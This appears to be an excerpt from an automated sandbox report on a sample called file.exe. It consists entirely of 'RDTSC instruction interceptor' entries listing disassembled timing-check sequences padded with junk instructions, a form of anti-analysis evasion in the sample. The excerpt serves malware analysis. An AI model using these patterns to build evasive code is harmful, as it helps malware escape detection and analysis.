Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9599FF second address: 959A09 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA67C81A87Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959A09 second address: 959A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67D08029Fh 0x00000009 pushad 0x0000000a jbe 00007FA67D080296h 0x00000010 pushad 0x00000011 popad 0x00000012 jbe 00007FA67D080296h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jc 00007FA67D0802D1h 0x00000021 jbe 00007FA67D0802B5h 0x00000027 jmp 00007FA67D08029Eh 0x0000002c jmp 00007FA67D0802A1h 0x00000031 pushad 0x00000032 jmp 00007FA67D08029Eh 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959CFC second address: 959D0A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959D0A second address: 959D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B6AA second address: 95B6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007FA67C81A872h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FA67C81A866h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B6CE second address: 95B6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B6D2 second address: 95B6DF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F7B6 second address: 95F7FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, dword ptr [ebp+122D390Ch] 0x00000010 push 00000004h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FA67D080298h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov dl, 4Ah 0x0000002e mov dword ptr [ebp+1244A03Ah], edx 0x00000034 push D96655D0h 0x00000039 push eax 0x0000003a push edx 0x0000003b push ebx 0x0000003c pushad 0x0000003d popad 0x0000003e pop ebx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96133A second address: 96133E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96133E second address: 961342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961342 second address: 96134C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96134C second address: 961356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA67D080296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961356 second address: 96135E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96135E second address: 96136F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA67D08029Ch 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960F08 second address: 960F11 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960F11 second address: 960F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jmp 00007FA67D0802A1h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA67D0802A8h 0x00000015 jne 00007FA67D080296h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A902B3 second address: 4A902E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 0Dh 0x00000005 mov di, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FA67C81A872h 0x00000011 push eax 0x00000012 pushad 0x00000013 movsx edi, cx 0x00000016 movzx ecx, di 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A902E1 second address: 4A902E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A902E5 second address: 4A902EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70EBC second address: 4A70EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70EC0 second address: 4A70EC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70EC4 second address: 4A70ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0539 second address: 4AC0543 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 5AB59A49h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0543 second address: 4AC0578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FA67D0802A2h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA67D0802A7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0578 second address: 4AC057D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500A0 second address: 4A500A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500A4 second address: 4A500AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500AA second address: 4A500F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, cl 0x00000005 push edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, 70853076h 0x00000013 pushfd 0x00000014 jmp 00007FA67D0802A7h 0x00000019 sub ecx, 6D16F0FEh 0x0000001f jmp 00007FA67D0802A9h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500F6 second address: 4A50122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FA67C81A86Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50122 second address: 4A50128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50128 second address: 4A50139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dh, al 0x00000007 popad 0x00000008 push dword ptr [ebp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50139 second address: 4A5013D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5013D second address: 4A50141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50141 second address: 4A50147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50147 second address: 4A5014D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5014D second address: 4A50151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A501F5 second address: 4A501F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A501F9 second address: 4A501FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70C31 second address: 4A70C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70C36 second address: 4A70C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70C3C second address: 4A70C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70C40 second address: 4A70C78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA67D0802A7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70C78 second address: 4A70CA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov si, DA53h 0x00000010 mov edx, esi 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70CA6 second address: 4A70CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70CAA second address: 4A70CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70CC1 second address: 4A70CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70CC7 second address: 4A70CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70651 second address: 4A706DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA67D0802A7h 0x00000009 adc ecx, 54338A3Eh 0x0000000f jmp 00007FA67D0802A9h 0x00000014 popfd 0x00000015 mov ebx, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov dl, 77h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 mov eax, 1550B713h 0x00000027 push esi 0x00000028 mov cx, di 0x0000002b pop ebx 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FA67D0802A3h 0x00000037 adc eax, 623A49AEh 0x0000003d jmp 00007FA67D0802A9h 0x00000042 popfd 0x00000043 push esi 0x00000044 pop edi 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A706DF second address: 4A706E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A706E5 second address: 4A706E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70384 second address: 4A703D3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA67C81A86Bh 0x00000008 jmp 00007FA67C81A873h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007FA67C81A879h 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA67C81A86Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A703D3 second address: 4A70406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA67D0802A8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70406 second address: 4A70415 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70415 second address: 4A7041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8030B second address: 4A8031B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67C81A86Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8031B second address: 4A8031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0429 second address: 4AC04C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov bx, 7BB0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA67C81A872h 0x00000014 xor esi, 2CEA3BF8h 0x0000001a jmp 00007FA67C81A86Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FA67C81A878h 0x00000026 jmp 00007FA67C81A875h 0x0000002b popfd 0x0000002c popad 0x0000002d mov dword ptr [esp], ebp 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FA67C81A86Ch 0x00000037 sbb cx, A0B8h 0x0000003c jmp 00007FA67C81A86Bh 0x00000041 popfd 0x00000042 mov cx, 20EFh 0x00000046 popad 0x00000047 mov ebp, esp 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FA67C81A871h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90617 second address: 4A9061B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9061B second address: 4A90621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90621 second address: 4A9066F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA67D08029Ch 0x00000009 or eax, 54D640B8h 0x0000000f jmp 00007FA67D08029Bh 0x00000014 popfd 0x00000015 call 00007FA67D0802A8h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FA67D08029Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9066F second address: 4A90675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90675 second address: 4A90679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90679 second address: 4A9068C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop edi 0x00000010 push ecx 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9068C second address: 4A906A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 3A8AAB9Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA67D08029Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7053C second address: 4A70595 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA67C81A86Ah 0x00000008 adc cx, A108h 0x0000000d jmp 00007FA67C81A86Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FA67C81A879h 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e mov al, 6Ch 0x00000020 mov ebx, 0B732BACh 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 jmp 00007FA67C81A86Bh 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70595 second address: 4A705B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9027C second address: 4A90282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90488 second address: 4A9048C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9048C second address: 4A90492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90492 second address: 4A90498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90498 second address: 4A9049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9049C second address: 4A904EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ah, FEh 0x0000000c mov eax, edx 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007FA67D08029Eh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FA67D0802A0h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e mov si, 415Dh 0x00000022 mov ecx, 6ABD9659h 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FA67D08029Eh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A904EB second address: 4A904EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A904EF second address: 4A904F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A904F5 second address: 4A904FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB083B second address: 4AB085C instructions: 0x00000000 rdtsc 0x00000002 mov eax, 4E74A7D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov edi, esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA67D08029Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB085C second address: 4AB0862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0862 second address: 4AB0866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0866 second address: 4AB0897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FA67C81A86Fh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA67C81A875h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0897 second address: 4AB08BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA67D08029Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB08BC second address: 4AB08C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB08C2 second address: 4AB08C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB08C6 second address: 4AB0918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007FA67C81A874h 0x0000000f pushfd 0x00000010 jmp 00007FA67C81A872h 0x00000015 jmp 00007FA67C81A875h 0x0000001a popfd 0x0000001b pop eax 0x0000001c mov cl, bl 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0918 second address: 4AB091C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB091C second address: 4AB0922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0922 second address: 4AB094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, cl 0x00000005 mov edi, 3E45E55Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [76FB65FCh] 0x00000012 jmp 00007FA67D0802A1h 0x00000017 test eax, eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB094C second address: 4AB0956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 5765D0DCh 0x00000009 popad 0x0000000a rdtsc
